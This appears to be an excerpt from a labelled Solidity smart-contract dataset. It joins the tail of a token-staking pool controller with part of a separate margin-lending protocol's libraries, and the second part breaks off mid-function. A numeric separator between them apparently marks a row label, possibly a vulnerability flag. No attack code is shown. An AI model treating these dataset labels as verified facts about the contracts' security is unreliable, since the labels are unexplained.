constructor(address coreAddr, address tokenBankAddr, address stakeFreezerAddr) notNullAddress(coreAddr) notNullAddress(tokenBankAddr) public {
core = PoolCore(coreAddr);
stakeFreezer = StakeFreezer(stakeFreezerAddr);
mntpToken = core.mntpToken();
goldToken = core.goldToken();
tokenBankAddress = tokenBankAddr;
}
function setTokenBankAddress(address addr) onlyAdministrator notNullAddress(addr) public {
tokenBankAddress = addr;
}
function setStakeFreezerAddress(address addr) onlyAdministrator public {
stakeFreezer = StakeFreezer(addr);
}
function switchActive() onlyAdministrator public {
require(isActualContractVer);
isActive = !isActive;
}
function holdStake(uint256 mntpAmount) onlyActive public {
require(mntpToken.balanceOf(msg.sender) > 0);
require(mntpToken.balanceOf(msg.sender) >= mntpAmount);
mntpToken.transferFrom(msg.sender, address(this), mntpAmount);
core.addHeldTokens(msg.sender, mntpAmount);
emit onHoldStake(msg.sender, mntpAmount);
}
function unholdStake() onlyActive public {
uint256 frozenAmount;
uint256 amount = core.getUserStake(msg.sender);
require(amount > 0);
require(getMntpBalance() >= amount);
if (stakeFreezer != address(0x0)) {
frozenAmount = stakeFreezer.getUserFrozenStake(msg.sender);
}
require(frozenAmount == 0);
core.freeHeldTokens(msg.sender);
mntpToken.transfer(msg.sender, amount);
emit onUnholdStake(msg.sender, amount);
}
function distribShareProfit(uint256 mntpReward, uint256 goldReward) onlyActive onlyAdministratorOrManager public {
if (mntpReward > 0) mntpToken.transferFrom(tokenBankAddress, address(this), mntpReward);
if (goldReward > 0) goldToken.transferFrom(tokenBankAddress, address(this), goldReward);
core.addRewardPerShare(mntpReward, goldReward);
emit onDistribShareProfit(mntpReward, goldReward);
}
function withdrawUserReward() onlyActive public {
uint256 mntpReward; uint256 mntpRewardAmp;
uint256 goldReward; uint256 goldRewardAmp;
(mntpReward, mntpRewardAmp) = core.getMntpTokenUserReward(msg.sender);
(goldReward, goldRewardAmp) = core.getGoldTokenUserReward(msg.sender);
require(getMntpBalance() >= mntpReward);
require(getGoldBalance() >= goldReward);
core.addUserPayouts(msg.sender, mntpRewardAmp, goldRewardAmp);
if (mntpReward > 0) mntpToken.transfer(msg.sender, mntpReward);
if (goldReward > 0) goldToken.transfer(msg.sender, goldReward);
emit onUserRewardWithdrawn(msg.sender, mntpReward, goldReward);
}
function withdrawRewardAndUnholdStake() onlyActive public {
withdrawUserReward();
unholdStake();
}
function addRewadToStake() onlyActive public {
uint256 mntpReward; uint256 mntpRewardAmp;
(mntpReward, mntpRewardAmp) = core.getMntpTokenUserReward(msg.sender);
require(mntpReward > 0);
core.addUserPayouts(msg.sender, mntpRewardAmp, 0);
core.addHeldTokens(msg.sender, mntpReward);
emit onHoldStake(msg.sender, mntpReward);
}
function freezeStake(bytes32 sumusAddress) onlyActive public {
require(stakeFreezer != address(0x0));
uint256 stake = core.getUserStake(msg.sender);
require(stake > 0);
uint256 freezeAmount = SafeMath.sub(stake, stakeFreezer.getUserFrozenStake(msg.sender));
require(freezeAmount > 0);
stakeFreezer.freezeUserStake(msg.sender, freezeAmount, sumusAddress);
}
function unfreezeUserStake(address userAddress) onlyActive onlyAdministratorOrManager public {
require(stakeFreezer != address(0x0));
uint256 amount = stakeFreezer.getUserFrozenStake(userAddress);
require(amount > 0);
stakeFreezer.unfreezeUserStake(userAddress, amount);
}
function migrateToNewControllerContract(address newControllerAddr) onlyAdministrator public {
require(newControllerAddr != address(0x0) && isActualContractVer);
isActive = false;
core.setNewControllerAddress(newControllerAddr);
if (stakeFreezer != address(0x0)) {
stakeFreezer.setNewControllerAddress(newControllerAddr);
}
uint256 mntpTokenAmount = getMntpBalance();
uint256 goldTokenAmount = getGoldBalance();
if (mntpTokenAmount > 0) mntpToken.transfer(newControllerAddr, mntpTokenAmount);
if (goldTokenAmount > 0) goldToken.transfer(newControllerAddr, goldTokenAmount);
isActualContractVer = false;
}
function getMntpTokenUserReward() public view returns(uint256) {
uint256 mntpReward; uint256 mntpRewardAmp;
(mntpReward, mntpRewardAmp) = core.getMntpTokenUserReward(msg.sender);
return mntpReward;
}
function getGoldTokenUserReward() public view returns(uint256) {
uint256 goldReward; uint256 goldRewardAmp;
(goldReward, goldRewardAmp) = core.getGoldTokenUserReward(msg.sender);
return goldReward;
}
function getUserMntpRewardPayouts() public view returns(uint256) {
return core.getUserMntpRewardPayouts(msg.sender);
}
function getUserGoldRewardPayouts() public view returns(uint256) {
return core.getUserGoldRewardPayouts(msg.sender);
}
function getUserStake() public view returns(uint256) {
return core.getUserStake(msg.sender);
}
function getUserFrozenStake() public view returns(uint256) {
if (stakeFreezer != address(0x0)) {
return stakeFreezer.getUserFrozenStake(msg.sender);
}
return 0;
}
function getMntpBalance() view public returns(uint256) {
return mntpToken.balanceOf(address(this));
}
function getGoldBalance() view public returns(uint256) {
return goldToken.balanceOf(address(this));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? b : a;
}
} | 1 | 2,812 |
pragma solidity 0.5.7;
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Require {
uint256 constant ASCII_ZERO = 48;
uint256 constant ASCII_RELATIVE_ZERO = 87;
uint256 constant ASCII_LOWER_EX = 120;
bytes2 constant COLON = 0x3a20;
bytes2 constant COMMA = 0x2c20;
bytes2 constant LPAREN = 0x203c;
byte constant RPAREN = 0x3e;
uint256 constant FOUR_BIT_MASK = 0xf;
function that(
bool must,
bytes32 file,
bytes32 reason
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason)
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
bytes memory result = abi.encodePacked(input);
for (uint256 i = 32; i > 0; ) {
i--;
if (result[i] != 0) {
uint256 length = i + 1;
assembly {
mstore(result, length)
}
return result;
}
}
return new bytes(0);
}
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
uint256 j = input;
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
j = input;
for (uint256 i = length; i > 0; ) {
i--;
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
j /= 10;
}
return bstr;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
bytes memory result = new bytes(42);
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
for (uint256 i = 0; i < 20; i++) {
uint256 shift = i * 2;
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function char(
uint256 input
)
private
pure
returns (byte)
{
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
return byte(uint8(input + ASCII_RELATIVE_ZERO));
}
}
library Math {
using SafeMath for uint256;
bytes32 constant FILE = "Math";
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function getPartialRoundUp(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
if (target == 0 || numerator == 0) {
return SafeMath.div(0, denominator);
}
return target.mul(numerator).sub(1).div(denominator).add(1);
}
function to128(
uint256 number
)
internal
pure
returns (uint128)
{
uint128 result = uint128(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint128"
);
return result;
}
function to96(
uint256 number
)
internal
pure
returns (uint96)
{
uint96 result = uint96(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint96"
);
return result;
}
function to32(
uint256 number
)
internal
pure
returns (uint32)
{
uint32 result = uint32(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint32"
);
return result;
}
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
library Types {
using Math for uint256;
enum AssetDenomination {
Wei,
Par
}
enum AssetReference {
Delta,
Target
}
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct TotalPar {
uint128 borrow;
uint128 supply;
}
struct Par {
bool sign;
uint128 value;
}
function zeroPar()
internal
pure
returns (Par memory)
{
return Par({
sign: false,
value: 0
});
}
function sub(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
return add(a, negative(b));
}
function add(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
Par memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value).to128();
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value).to128();
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value).to128();
}
}
return result;
}
function equals(
Par memory a,
Par memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Par memory a
)
internal
pure
returns (Par memory)
{
return Par({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Par memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Par memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Par memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
struct Wei {
bool sign;
uint256 value;
}
function zeroWei()
internal
pure
returns (Wei memory)
{
return Wei({
sign: false,
value: 0
});
}
function sub(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
return add(a, negative(b));
}
function add(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
Wei memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value);
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value);
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value);
}
}
return result;
}
function equals(
Wei memory a,
Wei memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Wei memory a
)
internal
pure
returns (Wei memory)
{
return Wei({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Wei memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Wei memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Wei memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
}
library Account {
enum Status {
Normal,
Liquid,
Vapor
}
struct Info {
address owner;
uint256 number;
}
struct Storage {
mapping (uint256 => Types.Par) balances;
Status status;
}
function equals(
Info memory a,
Info memory b
)
internal
pure
returns (bool)
{
return a.owner == b.owner && a.number == b.number;
}
}
contract IAutoTrader {
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
returns (Types.AssetAmount memory);
}
contract ICallee {
function callFunction(
address sender,
Account.Info memory accountInfo,
bytes memory data
)
public;
}
library Decimal {
using SafeMath for uint256;
uint256 constant BASE = 10**18;
struct D256 {
uint256 value;
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function onePlus(
D256 memory d
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(BASE) });
}
function mul(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, d.value, BASE);
}
function div(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, BASE, d.value);
}
}
library Monetary {
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
}
library Time {
function currentTime()
internal
view
returns (uint32)
{
return Math.to32(block.timestamp);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
library Cache {
using Cache for MarketCache;
using Storage for Storage.State;
struct MarketInfo {
bool isClosing;
uint128 borrowPar;
Monetary.Price price;
}
struct MarketCache {
MarketInfo[] markets;
}
function create(
uint256 numMarkets
)
internal
pure
returns (MarketCache memory)
{
return MarketCache({
markets: new MarketInfo[](numMarkets)
});
}
function addMarket(
MarketCache memory cache,
Storage.State storage state,
uint256 marketId
)
internal
view
returns (bool)
{
if (cache.hasMarket(marketId)) {
return false;
}
cache.markets[marketId].price = state.fetchPrice(marketId);
if (state.markets[marketId].isClosing) {
cache.markets[marketId].isClosing = true;
cache.markets[marketId].borrowPar = state.getTotalPar(marketId).borrow;
}
return true;
}
function getNumMarkets(
MarketCache memory cache
)
internal
pure
returns (uint256)
{
return cache.markets.length;
}
function hasMarket(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (bool)
{
return cache.markets[marketId].price.value != 0;
}
function getIsClosing(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (bool)
{
return cache.markets[marketId].isClosing;
}
function getPrice(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (Monetary.Price memory)
{
return cache.markets[marketId].price;
}
function getBorrowPar(
MarketCache memory cache,
uint256 marketId
)
internal
pure
returns (uint128)
{
return cache.markets[marketId].borrowPar;
}
}
library Interest {
using Math for uint256;
using SafeMath for uint256;
bytes32 constant FILE = "Interest";
uint64 constant BASE = 10**18;
struct Rate {
uint256 value;
}
struct Index {
uint96 borrow;
uint96 supply;
uint32 lastUpdate;
}
function calculateNewIndex(
Index memory index,
Rate memory rate,
Types.TotalPar memory totalPar,
Decimal.D256 memory earningsRate
)
internal
view
returns (Index memory)
{
(
Types.Wei memory supplyWei,
Types.Wei memory borrowWei
) = totalParToWei(totalPar, index);
uint32 currentTime = Time.currentTime();
uint256 borrowInterest = rate.value.mul(uint256(currentTime).sub(index.lastUpdate));
uint256 supplyInterest;
if (Types.isZero(supplyWei)) {
supplyInterest = 0;
} else {
supplyInterest = Decimal.mul(borrowInterest, earningsRate);
if (borrowWei.value < supplyWei.value) {
supplyInterest = Math.getPartial(supplyInterest, borrowWei.value, supplyWei.value);
}
}
assert(supplyInterest <= borrowInterest);
return Index({
borrow: Math.getPartial(index.borrow, borrowInterest, BASE).add(index.borrow).to96(),
supply: Math.getPartial(index.supply, supplyInterest, BASE).add(index.supply).to96(),
lastUpdate: currentTime
});
}
function newIndex()
internal
view
returns (Index memory)
{
return Index({
borrow: BASE,
supply: BASE,
lastUpdate: Time.currentTime()
});
}
function parToWei(
Types.Par memory input,
Index memory index
)
internal
pure
returns (Types.Wei memory)
{
uint256 inputValue = uint256(input.value);
if (input.sign) {
return Types.Wei({
sign: true,
value: inputValue.getPartial(index.supply, BASE)
});
} else {
return Types.Wei({
sign: false,
value: inputValue.getPartialRoundUp(index.borrow, BASE)
});
}
}
function weiToPar(
Types.Wei memory input,
Index memory index
)
internal
pure
returns (Types.Par memory)
{
if (input.sign) {
return Types.Par({
sign: true,
value: input.value.getPartial(BASE, index.supply).to128()
});
} else {
return Types.Par({
sign: false,
value: input.value.getPartialRoundUp(BASE, index.borrow).to128()
});
}
}
function totalParToWei(
Types.TotalPar memory totalPar,
Index memory index
)
internal
pure
returns (Types.Wei memory, Types.Wei memory)
{
Types.Par memory supplyPar = Types.Par({
sign: true,
value: totalPar.supply
});
Types.Par memory borrowPar = Types.Par({
sign: false,
value: totalPar.borrow
});
Types.Wei memory supplyWei = parToWei(supplyPar, index);
Types.Wei memory borrowWei = parToWei(borrowPar, index);
return (supplyWei, borrowWei);
}
}
interface IErc20 {
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
function name()
external
view
returns (string memory);
function symbol()
external
view
returns (string memory);
function decimals()
external
view
returns (uint8);
}
library Token {
bytes32 constant FILE = "Token";
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return IErc20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return IErc20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
IErc20(token).approve(spender, amount);
Require.that(
checkSuccess(),
FILE,
"Approve failed"
);
}
function approveMax(
address token,
address spender
)
internal
{
approve(
token,
spender,
uint256(-1)
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
if (amount == 0 || to == address(this)) {
return;
}
IErc20(token).transfer(to, amount);
Require.that(
checkSuccess(),
FILE,
"Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (amount == 0 || to == from) {
return;
}
IErc20(token).transferFrom(from, to, amount);
Require.that(
checkSuccess(),
FILE,
"TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
interface IInterestSetter {
function getInterestRate(
address token,
uint256 borrowWei,
uint256 supplyWei
)
external
view
returns (Interest.Rate memory);
}
contract IPriceOracle {
uint256 public constant ONE_DOLLAR = 10 ** 36;
function getPrice(
address token
)
public
view
returns (Monetary.Price memory);
}
library Storage {
using Cache for Cache.MarketCache;
using Storage for Storage.State;
using Math for uint256;
using Types for Types.Par;
using Types for Types.Wei;
using SafeMath for uint256;
bytes32 constant FILE = "Storage";
struct Market {
address token;
Types.TotalPar totalPar;
Interest.Index index;
IPriceOracle priceOracle;
IInterestSetter interestSetter;
Decimal.D256 marginPremium;
Decimal.D256 spreadPremium;
bool isClosing;
}
struct RiskParams {
Decimal.D256 marginRatio;
Decimal.D256 liquidationSpread;
Decimal.D256 earningsRate;
Monetary.Value minBorrowedValue;
}
struct RiskLimits {
uint64 marginRatioMax;
uint64 liquidationSpreadMax;
uint64 earningsRateMax;
uint64 marginPremiumMax;
uint64 spreadPremiumMax;
uint128 minBorrowedValueMax;
}
struct State {
uint256 numMarkets;
mapping (uint256 => Market) markets;
mapping (address => mapping (uint256 => Account.Storage)) accounts;
mapping (address => mapping (address => bool)) operators;
mapping (address => bool) globalOperators;
RiskParams riskParams;
RiskLimits riskLimits;
}
function getToken(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (address)
{
return state.markets[marketId].token;
}
function getTotalPar(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Types.TotalPar memory)
{
return state.markets[marketId].totalPar;
}
function getIndex(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Interest.Index memory)
{
return state.markets[marketId].index;
}
function getNumExcessTokens(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Types.Wei memory)
{
Interest.Index memory index = state.getIndex(marketId);
Types.TotalPar memory totalPar = state.getTotalPar(marketId);
address token = state.getToken(marketId);
Types.Wei memory balanceWei = Types.Wei({
sign: true,
value: Token.balanceOf(token, address(this))
});
(
Types.Wei memory supplyWei,
Types.Wei memory borrowWei
) = Interest.totalParToWei(totalPar, index);
return balanceWei.sub(borrowWei).sub(supplyWei);
}
function getStatus(
Storage.State storage state,
Account.Info memory account
)
internal
view
returns (Account.Status)
{
return state.accounts[account.owner][account.number].status;
}
function getPar(
Storage.State storage state,
Account.Info memory account,
uint256 marketId
)
internal
view
returns (Types.Par memory)
{
return state.accounts[account.owner][account.number].balances[marketId];
}
function getWei(
Storage.State storage state,
Account.Info memory account,
uint256 marketId
)
internal
view
returns (Types.Wei memory)
{
Types.Par memory par = state.getPar(account, marketId);
if (par.isZero()) {
return Types.zeroWei();
}
Interest.Index memory index = state.getIndex(marketId);
return Interest.parToWei(par, index);
}
function getLiquidationSpreadForPair(
Storage.State storage state,
uint256 heldMarketId,
uint256 owedMarketId
)
internal
view
returns (Decimal.D256 memory)
{
uint256 result = state.riskParams.liquidationSpread.value;
result = Decimal.mul(result, Decimal.onePlus(state.markets[heldMarketId].spreadPremium));
result = Decimal.mul(result, Decimal.onePlus(state.markets[owedMarketId].spreadPremium));
return Decimal.D256({
value: result
});
}
function fetchNewIndex(
Storage.State storage state,
uint256 marketId,
Interest.Index memory index
)
internal
view
returns (Interest.Index memory)
{
Interest.Rate memory rate = state.fetchInterestRate(marketId, index);
return Interest.calculateNewIndex(
index,
rate,
state.getTotalPar(marketId),
state.riskParams.earningsRate
);
}
function fetchInterestRate(
Storage.State storage state,
uint256 marketId,
Interest.Index memory index
)
internal
view
returns (Interest.Rate memory)
{
Types.TotalPar memory totalPar = state.getTotalPar(marketId);
(
Types.Wei memory supplyWei,
Types.Wei memory borrowWei
) = Interest.totalParToWei(totalPar, index);
Interest.Rate memory rate = state.markets[marketId].interestSetter.getInterestRate(
state.getToken(marketId),
borrowWei.value,
supplyWei.value
);
return rate;
}
function fetchPrice(
Storage.State storage state,
uint256 marketId
)
internal
view
returns (Monetary.Price memory)
{
IPriceOracle oracle = IPriceOracle(state.markets[marketId].priceOracle);
Monetary.Price memory price = oracle.getPrice(state.getToken(marketId));
Require.that(
price.value != 0,
FILE,
"Price cannot be zero",
marketId
);
return price;
}
function getAccountValues(
Storage.State storage state,
Account.Info memory account,
Cache.MarketCache memory cache,
bool adjustForLiquidity
)
internal
view
returns (Monetary.Value memory, Monetary.Value memory)
{
Monetary.Value memory supplyValue;
Monetary.Value memory borrowValue;
uint256 numMarkets = cache.getNumMarkets();
for (uint256 m = 0; m < numMarkets; m++) {
if (!cache.hasMarket(m)) {
continue;
}
Types.Wei memory userWei = state.getWei(account, m);
if (userWei.isZero()) {
continue;
}
uint256 assetValue = userWei.value.mul(cache.getPrice(m).value);
Decimal.D256 memory adjust = Decimal.one();
if (adjustForLiquidity) {
adjust = Decimal.onePlus(state.markets[m].marginPremium);
}
if (userWei.sign) {
supplyValue.value = supplyValue.value.add(Decimal.div(assetValue, adjust));
} else {
borrowValue.value = borrowValue.value.add(Decimal.mul(assetValue, adjust));
}
}
return (supplyValue, borrowValue);
}
function isCollateralized(
Storage.State storage state,
Account.Info memory account,
Cache.MarketCache memory cache,
bool requireMinBorrow
)
internal
view
returns (bool)
{
(
Monetary.Value memory supplyValue,
Monetary.Value memory borrowValue
) = state.getAccountValues(account, cache, true);
if (borrowValue.value == 0) {
return true;
}
if (requireMinBorrow) {
Require.that(
borrowValue.value >= state.riskParams.minBorrowedValue.value,
FILE,
"Borrow value too low",
account.owner,
account.number,
borrowValue.value
);
}
uint256 requiredMargin = Decimal.mul(borrowValue.value, state.riskParams.marginRatio);
return supplyValue.value >= borrowValue.value.add(requiredMargin);
}
function isGlobalOperator(
Storage.State storage state,
address operator
)
internal
view
returns (bool)
{
return state.globalOperators[operator];
}
function isLocalOperator(
Storage.State storage state,
address owner,
address operator
)
internal
view
returns (bool)
{
return state.operators[owner][operator];
}
function requireIsOperator(
Storage.State storage state,
Account.Info memory account,
address operator
)
internal
view
{
bool isValidOperator =
operator == account.owner
|| state.isGlobalOperator(operator)
|| state.isLocalOperator(account.owner, operator);
Require.that(
isValidOperator,
FILE,
"Unpermissioned operator",
operator
);
}
function getNewParAndDeltaWei(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.AssetAmount memory amount
)
internal
view
returns (Types.Par memory, Types.Wei memory)
{
Types.Par memory oldPar = state.getPar(account, marketId);
if (amount.value == 0 && amount.ref == Types.AssetReference.Delta) {
return (oldPar, Types.zeroWei());
}
Interest.Index memory index = state.getIndex(marketId);
Types.Wei memory oldWei = Interest.parToWei(oldPar, index);
Types.Par memory newPar;
Types.Wei memory deltaWei;
if (amount.denomination == Types.AssetDenomination.Wei) {
deltaWei = Types.Wei({
sign: amount.sign,
value: amount.value
});
if (amount.ref == Types.AssetReference.Target) {
deltaWei = deltaWei.sub(oldWei);
}
newPar = Interest.weiToPar(oldWei.add(deltaWei), index);
} else {
newPar = Types.Par({
sign: amount.sign,
value: amount.value.to128()
});
if (amount.ref == Types.AssetReference.Delta) {
newPar = oldPar.add(newPar);
}
deltaWei = Interest.parToWei(newPar, index).sub(oldWei);
}
return (newPar, deltaWei);
}
function getNewParAndDeltaWeiForLiquidation(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.AssetAmount memory amount
)
internal
view
returns (Types.Par memory, Types.Wei memory)
{
Types.Par memory oldPar = state.getPar(account, marketId);
Require.that(
!oldPar.isPositive(),
FILE,
"Owed balance cannot be positive",
account.owner,
account.number,
marketId
);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
account,
marketId,
amount
);
if (newPar.isPositive()) {
newPar = Types.zeroPar();
deltaWei = state.getWei(account, marketId).negative();
}
Require.that(
!deltaWei.isNegative() && oldPar.value >= newPar.value,
FILE,
"Owed balance cannot increase",
account.owner,
account.number,
marketId
);
if (oldPar.equals(newPar)) {
deltaWei = Types.zeroWei();
}
return (newPar, deltaWei);
}
function isVaporizable(
Storage.State storage state,
Account.Info memory account,
Cache.MarketCache memory cache
)
internal
view
returns (bool)
{
bool hasNegative = false;
uint256 numMarkets = cache.getNumMarkets();
for (uint256 m = 0; m < numMarkets; m++) {
if (!cache.hasMarket(m)) {
continue;
}
Types.Par memory par = state.getPar(account, m);
if (par.isZero()) {
continue;
} else if (par.sign) {
return false;
} else {
hasNegative = true;
}
}
return hasNegative;
}
function updateIndex(
Storage.State storage state,
uint256 marketId
)
internal
returns (Interest.Index memory)
{
Interest.Index memory index = state.getIndex(marketId);
if (index.lastUpdate == Time.currentTime()) {
return index;
}
return state.markets[marketId].index = state.fetchNewIndex(marketId, index);
}
function setStatus(
Storage.State storage state,
Account.Info memory account,
Account.Status status
)
internal
{
state.accounts[account.owner][account.number].status = status;
}
function setPar(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.Par memory newPar
)
internal
{
Types.Par memory oldPar = state.getPar(account, marketId);
if (Types.equals(oldPar, newPar)) {
return;
}
Types.TotalPar memory totalPar = state.getTotalPar(marketId);
if (oldPar.sign) {
totalPar.supply = uint256(totalPar.supply).sub(oldPar.value).to128();
} else {
totalPar.borrow = uint256(totalPar.borrow).sub(oldPar.value).to128();
}
if (newPar.sign) {
totalPar.supply = uint256(totalPar.supply).add(newPar.value).to128();
} else {
totalPar.borrow = uint256(totalPar.borrow).add(newPar.value).to128();
}
state.markets[marketId].totalPar = totalPar;
